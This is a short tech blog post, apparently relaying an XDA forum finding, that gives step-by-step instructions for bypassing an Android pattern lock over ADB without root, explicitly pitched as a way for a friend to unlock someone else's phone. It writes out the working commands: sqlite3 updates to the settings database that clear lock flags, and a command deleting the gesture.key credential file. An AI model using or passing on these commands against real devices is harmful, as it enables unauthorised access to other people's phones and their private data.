Crack Android’s Pattern Unlock Without Root Access [Hacks]

Android Security has been in the news lately with some breaches that let applications record your calls and/or messages. Here is yet  another one in the Android Debug Bridge (ADB) using which a friend of yours can unlock your device without having to root it. He would not even need you Google account to install an application to unlock the pattern. Let us see how.

XDA forum member m.sabra recently found out that one can crack Android’s pattern unlock with a little knowledge of ADB. My Android devices usually have USB Debugging enabled because I connect my devices to the PC and use some applications for development purposes. You might have USB Debugging enabled too and this is the primary requirement for cracking the pattern unlock.

To crack the pattern unlock of an Android device which has USB Debugging enabled, follow the steps mentioned below:

1. Connect the device to the Computer.
2. Make sure you have ADB and the device drivers installed on your computer.
3. Open Command prompt and type “adb devices” to make sure your device is connected properly and you have the drivers installed. After you hit enter, you would see the serial number of the device attached.
4. Type the following commands one by one and reboot after you hit Enter.

   adb shell
   cd /data/data/com.android.providers.settings/databases
   sqlite3 settings.db
   update system set value=0 where name='lock_pattern_autolock';
   update system set value=0 where name='lockscreen.lockedoutpermanently';
   .quit

5. If this does not work, you can also type the following command and reboot after you hit Enter.

   adb shell rm /data/system/gesture.key

After you reboot the phone, you may see the pattern unlock but you can try any random pattern and see if the phone gets unlocked. Also, this procedure may not work on all devices.

via XDA Forums